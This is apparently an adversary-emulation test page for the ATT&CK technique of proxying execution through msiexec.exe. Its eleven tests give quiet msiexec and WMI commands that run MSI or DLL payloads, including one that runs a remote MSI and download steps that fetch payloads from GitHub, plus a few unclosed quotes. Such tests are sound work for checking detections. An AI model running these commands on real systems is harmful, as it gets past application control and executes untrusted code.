T1218.007
Signed Binary Proxy Execution: Msiexec
Description from ATT&CK
Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.
Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
Atomic Tests
Atomic Test #1 - Msiexec.exe - Execute Local MSI file with embedded JScript
Executes an MSI containing embedded JScript code using msiexec.exe
Supported Platforms: windows
auto_generated_guid: a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi |
| msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe |
| action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | ||
| string | i |
Attack Commands: Run with command_prompt!
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#{msi_exe} /q /#{action} "#{msi_payload}"
Dependencies: Run with powershell!
Description: The MSI file must exist on disk at specified location (#{msi_payload})
Check Prereq Commands:
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if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"
Atomic Test #2 - Msiexec.exe - Execute Local MSI file with embedded VBScript
Executes an MSI containing embedded VBScript code using msiexec.exe
Supported Platforms: windows
auto_generated_guid: 8d73c7b0-c2b1-4ac1-881a-4aa644f76064
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi |
| msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe |
| action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | ||
| string | i |
Attack Commands: Run with command_prompt!
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#{msi_exe} /q /#{action} "#{msi_payload}"
Dependencies: Run with powershell!
Description: The MSI file must exist on disk at specified location (#{msi_payload})
Check Prereq Commands:
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if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"
Atomic Test #3 - Msiexec.exe - Execute Local MSI file with an embedded DLL
Executes an MSI containing an embedded DLL using msiexec.exe
Supported Platforms: windows
auto_generated_guid: 628fa796-76c5-44c3-93aa-b9d8214fd568
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi |
| msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe |
| action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | ||
| string | i |
Attack Commands: Run with command_prompt!
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#{msi_exe} /q /#{action} "#{msi_payload}"
Dependencies: Run with powershell!
Description: The MSI file must exist on disk at specified location (#{msi_payload})
Check Prereq Commands:
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if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"
Atomic Test #4 - Msiexec.exe - Execute Local MSI file with an embedded EXE
Executes an MSI containing an embedded EXE using msiexec.exe
Supported Platforms: windows
auto_generated_guid: ed3fa08a-ca18-4009-973e-03d13014d0e8
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi |
| msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe |
| action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | ||
| string | i |
Attack Commands: Run with command_prompt!
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#{msi_exe} /q /#{action} "#{msi_payload}"
Dependencies: Run with powershell!
Description: The MSI file must exist on disk at specified location (#{msi_payload})
Check Prereq Commands:
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if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}"
Atomic Test #5 - WMI Win32_Product Class - Execute Local MSI file with embedded JScript
Executes an MSI containing embedded JScript code using the WMI Win32_Product class
Supported Platforms: windows
auto_generated_guid: 882082f0-27c6-4eec-a43c-9aa80bccdb30
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi |
| action | Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. | ||
| string | Install |
Attack Commands: Run with powershell!
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Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
Dependencies: Run with powershell!
Description: The MSI file must exist on disk at specified location (#{msi_payload})
Check Prereq Commands:
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if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"
Atomic Test #6 - WMI Win32_Product Class - Execute Local MSI file with embedded VBScript
Executes an MSI containing embedded VBScript code using the WMI Win32_Product class
Supported Platforms: windows
auto_generated_guid: cf470d9a-58e7-43e5-b0d2-805dffc05576
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi |
| action | Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. | ||
| string | Install |
Attack Commands: Run with powershell!
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Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
Dependencies: Run with powershell!
Description: The MSI file must exist on disk at specified location (#{msi_payload})
Check Prereq Commands:
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if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"
Atomic Test #7 - WMI Win32_Product Class - Execute Local MSI file with an embedded DLL
Executes an MSI containing an embedded DLL using the WMI Win32_Product class
Supported Platforms: windows
auto_generated_guid: 32eb3861-30da-4993-897a-42737152f5f8
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi |
| action | Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. | ||
| string | Install |
Attack Commands: Run with powershell!
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Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
Dependencies: Run with powershell!
Description: The MSI file must exist on disk at specified location (#{msi_payload})
Check Prereq Commands:
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if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"
Atomic Test #8 - WMI Win32_Product Class - Execute Local MSI file with an embedded EXE
Executes an MSI containing an embedded EXE using the WMI Win32_Product class
Supported Platforms: windows
auto_generated_guid: 55080eb0-49ae-4f55-a440-4167b7974f79
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi |
| action | Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. | ||
| string | Install |
Attack Commands: Run with powershell!
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Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
Dependencies: Run with powershell!
Description: The MSI file must exist on disk at specified location (#{msi_payload})
Check Prereq Commands:
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if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{msi_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}"
Atomic Test #9 - Msiexec.exe - Execute the DllRegisterServer function of a DLL
Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.
Supported Platforms: windows
auto_generated_guid: 0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| dll_payload | DLL to execute that has an implemented DllRegisterServer function | path | PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll |
| msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe |
Attack Commands: Run with command_prompt!
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#{msi_exe} /y "#{dll_payload}"
Dependencies: Run with powershell!
Description: The DLL must exist on disk at specified location (#{dll_payload})
Check Prereq Commands:
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if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}"
Atomic Test #10 - Msiexec.exe - Execute the DllUnregisterServer function of a DLL
Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.
Supported Platforms: windows
auto_generated_guid: ab09ec85-4955-4f9c-b8e0-6851baf4d47f
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| dll_payload | DLL to execute that has an implemented DllUnregisterServer function | path | PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll |
| msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe |
Attack Commands: Run with command_prompt!
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#{msi_exe} /z "#{dll_payload}"
Dependencies: Run with powershell!
Description: The DLL must exist on disk at specified location (#{dll_payload})
Check Prereq Commands:
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if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}"
Atomic Test #11 - Msiexec.exe - Execute Remote MSI file
Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.
Supported Platforms: windows
auto_generated_guid: 44a4bedf-ffe3-452e-bee4-6925ab125662
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| msi_payload | MSI file to execute | string | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi |
| msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe |
Attack Commands: Run with command_prompt!
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#{msi_exe} /q /i "#{msi_payload}"